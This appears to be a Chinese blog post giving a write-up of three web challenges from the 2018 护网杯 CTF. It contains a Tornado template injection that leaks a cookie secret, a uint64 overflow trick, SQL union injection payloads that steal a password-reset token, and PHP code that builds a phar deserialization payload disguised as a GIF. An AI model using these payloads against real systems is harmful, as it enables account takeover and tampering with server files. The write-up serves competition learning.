热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

2018护网杯web部分题解

 前记护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。 easy tornado进入题目http://49.4.78.81:30980/发现有3个选项http:/

 

前记

护网杯刚结束,记录一下做出的3道web(1道赛后解出),很遗憾有一道java没能解出。

 

easy tornado

进入题目

http://49.4.78.81:30980/

发现有3个选项

http://49.4.78.81:30980/file?filename=Orz.txt&signature=9e3bb6483951e58b6095f949d572dd9a
Orz.txt
render()
http://49.4.78.81:30980/file?filename=hint.txt&signature=74dfcb55b94ddbe4daedd3f21a68a2f1
hint.txt
md5(COOKIE_secret + md5(filename))
http://49.4.78.81:30980/file?filename=flag.txt&signature=6a86c265598a92ae8bff5c9f7b9f2a72
flag.txt
/fllllllllllag

发现意思很明确,有签名,读文件
那么现在要做的就是leak COOKIE_secret
发现

http://49.4.78.81:30980/error?msg={{1^0}}

可以进行模板注入,但过滤了非常多的符号,应该只能读个变量
阅读tornado源码

https://github.com/tornadoweb/tornado/blob/master/tornado/auth.py

发现handler.settings存放了COOKIE_secret
读取

http://49.4.78.81:30980/error?msg={{handler.settings}}

得到

Whoops, looks like somethings went wrong .
{'login_url': '/login', 'template_path': 'templates', 'xsrf_COOKIEs': True, 'COOKIE_secret': '0tG+hY[4ekR($v72OzJa)M9d!jV8sF.n1>{Zo#*pPIm_

随机构造签名读flag

http://49.4.78.81:30980/file?filename=/fllllllllllag&signature=7bae09c2c6e2f6aa34df7dbee23db960

得到

/fllllllllllag
flag{67a3d3dec827645c1c92d1f2160c744f}

 

ltshop

本能的条件竞争,换大辣条,50个线程,跑完发现自己有7个大辣条了,看来竞争略有成效
下面是辣条之王的艺术,考虑到是go语言,uint64可能存在溢出

http://www.it1352.com/808569.html

于是思考到,这里我们的兑换量应该*5,于是简单计算了一下

然后我们这里兑换3689348814741910324即可溢出

 

easy_laravel



源码发现

这是本次的重量级题目:首先在f12源代码里发现




sql注入

于是下载源码,看一下控制器,不难发现有注入点

easy_laravel/app/Http/Controllers/NoteController.php

于是尝试

admin' or 1#

发现可以读到note,于是尝试union select

然后遇到了第一个坑点,我们在代码里可以看到


于是我认为应该只有4列,然后一直就是wrong,wrong,wrong

很头疼的尝试了order by,发现是5列

注册:admin' order by 5#


注册:admin' order by 6#

然后尝试union select

根据给出的表,我再信他一回:)

admin' union select 1,(select password from users limit 0,1),3,4,5#

到这里为止,发现密码无法破解

那么如何登入管理员呢?


密码重置

这里还有一个表

我们发现还能重置密码,而且只需要email和token!

那我们去拿管理员的token

admin' union select 1,(select token from password_resets limit 1,1),3,4,5#

然后去重置管理员密码即可

然后使用路径

http://49.4.78.81:31250/password/reset/1c9d0f377a75dd48abaa90dd7fa4eb35653da39561d6f9c33bdb14a8a0849616

然后改密码即可登入管理员

到此为止,我们离flag又近了一步


登入后台

发现有4个功能:upload,files,flag,note

这里flag点进去发现是no flag

加上题目的提示:

可以发现是blade过期的问题,这里简单搜索

https://www.jianshu.com/p/7d65f9eb94be

发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

所以我们这的思路很清晰:

1.因为旧的缓存存在,导致我们看不到flag

2.我们可以利用pop chain删掉缓存文件

3.读到flag

那么缓存文件在哪里呢?我们查看源码发现

那cachepath又是哪里呢?想到最开始的提示

nginx是坠吼的 ( 好麻烦,默认配置也是坠吼的

那么很容易得知web目录

/usr/share/nginx/html

然后再去发掘blade缓存位置

https://www.jianshu.com/p/018c83d6b38c

发现是

/storage/framework/views

再结合sha1,得到最后的路径

/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php


反序列化删除发掘

那么去哪里找删除函数呢?

这里发现composer.json中提供了大量组件,我们安装一下,然后全局搜索,容易发现有unlink()


phar神来之笔

那最后怎么触发序列化呢?这里用到了我们BlackHat会议演讲的phar://方法

参考这篇文章

https://xz.aliyun.com/t/2715

我们发现在check这里

是会使用file_exists的,并且path和filename可控!

于是我们尝试构造

include('autoload.php');
$a = serialize(new Swift_ByteStream_TemporaryFileByteStream());
var_dump(unserialize($a));
var_dump($a);
$a = preg_replace('//private/var/folders/dm/r80s8lp52bz1rcdhp5h9zlrw0000gn/T/FileByteStream[w]{6}/', "/usr/share/nginx/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php", $a);
$a = str_replace('s:77', 's:90', $a);
$b = unserialize($a);
$p = new Phar('./skyfuck.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a');
$p->setMetadata($b);
$p->addFromString('test.txt','text');
$p->stopBuffering();
rename('skyfuck.phar', 'skyfuck.gif')
?>

然后上传后触发

最后即可看到flag

 

后记

这次护网杯的题目还是很nice的,感谢4uuu Nya大佬的nice题目,和赛后帮助我理解Laravel的bendawang师傅,给跪了~


推荐阅读
  • 微软头条实习生分享深度学习自学指南
    本文介绍了一位微软头条实习生自学深度学习的经验分享,包括学习资源推荐、重要基础知识的学习要点等。作者强调了学好Python和数学基础的重要性,并提供了一些建议。 ... [详细]
  • 本文由编程笔记#小编为大家整理,主要介绍了markdown[软件代理设置]相关的知识,希望对你有一定的参考价值。 ... [详细]
  • 依赖注入_php 依赖注入容器
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了php依赖注入容器相关的知识,希望对你有一定的参考价值。原文: http://blog.csdn.net/r ... [详细]
  • PyTorch框架中有一个非常重要且好用的包:torchvision,该包主要由3个子包组成,分别是:torchvision.datasets、torchvision.models、torchv ... [详细]
  • 原文:http:blog.linjunhalida.comblogpjaxgithub:https:github.comdefunktjquery-pjax ... [详细]
  • 最简便的 JavaScript 代码检查工具安装方式
    前两天发了一篇用mingw编译javascriptv8,讲述我为了在Windows下给javascript做lint检查,费劲去编译google的jav ... [详细]
  • baresip android编译、运行教程1语音通话
    本文介绍了如何在安卓平台上编译和运行baresip android,包括下载相关的sdk和ndk,修改ndk路径和输出目录,以及创建一个c++的安卓工程并将目录考到cpp下。详细步骤可参考给出的链接和文档。 ... [详细]
  • 使用在线工具jsonschema2pojo根据json生成java对象
    本文介绍了使用在线工具jsonschema2pojo根据json生成java对象的方法。通过该工具,用户只需将json字符串复制到输入框中,即可自动将其转换成java对象。该工具还能解析列表式的json数据,并将嵌套在内层的对象也解析出来。本文以请求github的api为例,展示了使用该工具的步骤和效果。 ... [详细]
  • 大坑|左上角_pycharm连接服务器同步写代码(图文详细过程)
    篇首语:本文由编程笔记#小编为大家整理,主要介绍了pycharm连接服务器同步写代码(图文详细过程)相关的知识,希望对你有一定的参考价值。pycharm连接服务 ... [详细]
  • charles3.11.1抓https包
    结论先行:用的是安卓测试机,没加固之前的生产环境的安装包,可以抓到https请求加固之后的包【也就是要上应用市场的包】,抓不到https请求电脑上的操作:1.安装证书【电脑上安装了 ... [详细]
  • 这篇文章给大家介绍怎么从源码启动和编译IoTSharp ,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。IoTSharp项目是 ... [详细]
  • maven配置阿里云仓库的实现方法(2022年)_java
    本文主要介绍了maven配置阿里云仓库的实现方法,文中通过示例代码介绍的非常详细,具有一定的参考价值,感兴趣的 ... [详细]
  • 前端简史之纵横:Node东出
    引💡Ajax的出现,带来了jQuery时代,而jQuery时代也伴随着Node风暴淡淡退出了历史舞台。如果说Ajax给前端带来了从网页静 ... [详细]
  • return 语句竟然跳不出 for 循环?怎么肥事?
    松哥最近正在录制TienChin项目视频~采用SpringBoot+Vue3技术栈,里边会涉及到各种好玩 ... [详细]
  • requestLayout()引起的问题网上有大量写的很深入的requestLayout()源码分析的文章。故这里不再写了,只做一个实际情况下遇到的问题的分析。起因:自定义了一个C ... [详细]
author-avatar
一克拉白勺的眼泪
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有